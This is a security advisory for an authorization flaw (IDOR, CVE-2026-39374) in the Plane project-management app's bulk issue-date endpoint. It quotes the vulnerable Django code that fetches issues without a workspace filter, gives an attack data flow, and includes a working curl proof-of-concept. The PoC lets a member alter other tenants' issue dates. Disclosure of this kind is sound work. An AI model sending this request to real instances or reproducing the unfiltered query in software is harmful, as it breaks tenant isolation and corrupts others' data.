Skip to content

IDOR: Cross-Project Issue Date Modification via Bulk Update Endpoint

Moderate
sriramveeraghanta published GHSA-4q54-h4x9-m329 Apr 7, 2026

Package

No package listed

Affected versions

< 0.24.0

Patched versions

1.3.0

Description

IDOR: Cross-Project Issue Date Modification via Bulk Update Endpoint

Validation: Code trace
CWE: CWE-639 (Authorization Bypass Through User-Controlled Key)
CVSS 3.1: 6.5 (Medium) - AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Auth Required: Authenticated user with ADMIN or MEMBER role in ANY project of the workspace
Environment: Plane 0.24.0

Summary

The IssueBulkUpdateDateEndpoint allows a project member (ADMIN or MEMBER) to modify the start_date and target_date of ANY issue across the entire Plane instance, regardless of workspace or project membership. The endpoint fetches issues by ID without filtering by workspace or project, enabling cross-boundary data modification.

Vulnerable Code

File: apps/api/plane/app/views/issue/base.py (lines 1079-1156)
URL: POST /api/workspaces/<slug>/projects/<project_id>/issue-dates/

class IssueBulkUpdateDateEndpoint(BaseAPIView):
    @allow_permission([ROLE.ADMIN, ROLE.MEMBER])
    def post(self, request, slug, project_id):
        updates = request.data.get("updates", [])

        issue_ids = [update["id"] for update in updates]
        epoch = int(timezone.now().timestamp())

        # BUG: No workspace or project filter - fetches ANY issue by ID
        issues = list(Issue.objects.filter(id__in=issue_ids))
        issues_dict = {str(issue.id): issue for issue in issues}
        issues_to_update = []

        for update in updates:
            issue_id = update["id"]
            issue = issues_dict.get(issue_id)
            # ... updates start_date and target_date without boundary checks

        # BUG: bulk_update applies to issues from ANY workspace/project
        Issue.objects.bulk_update(issues_to_update, ["start_date", "target_date"])

Data Flow

  1. Attacker authenticates as MEMBER of workspace ws-attacker, project proj-attacker
  2. Attacker obtains or guesses UUID of an issue in workspace ws-victim, project proj-victim
  3. Attacker sends: POST /api/workspaces/ws-attacker/projects/proj-attacker/issue-dates/
    {
      "updates": [
        {"id": "<victim-issue-uuid>", "start_date": "2099-01-01", "target_date": "2099-12-31"}
      ]
    }
  4. The @allow_permission decorator validates that the attacker is ADMIN/MEMBER of proj-attacker - passes
  5. Issue.objects.filter(id__in=issue_ids) fetches the victim's issue without any workspace/project filter
  6. The victim's issue dates are modified

Impact

  • Any authenticated project member can modify start/target dates of issues in ANY workspace/project across the entire Plane instance
  • This breaks workspace isolation - a critical security boundary in multi-tenant deployments
  • Dates are important for project planning; manipulating them can disrupt timelines and deadlines
  • The attacker only needs to know or guess the UUID of the target issue

PoC

# As user with MEMBER role in workspace "attacker-ws", project "attacker-proj"
curl -X POST "https://plane.example.com/api/workspaces/attacker-ws/projects/<attacker-proj-id>/issue-dates/" \
  -H "Cookie: session=<attacker-session>" \
  -H "Content-Type: application/json" \
  -d '{
    "updates": [
      {"id": "<victim-issue-uuid>", "start_date": "2099-01-01", "target_date": "2099-12-31"}
    ]
  }'

Root Cause

The query at line 1107 uses Issue.objects.filter(id__in=issue_ids) without constraining by workspace__slug=slug and project_id=project_id, unlike every other issue endpoint in the codebase (e.g., IssueViewSet.get_queryset() which properly filters by both).

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

CVE ID

CVE-2026-39374

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

Credits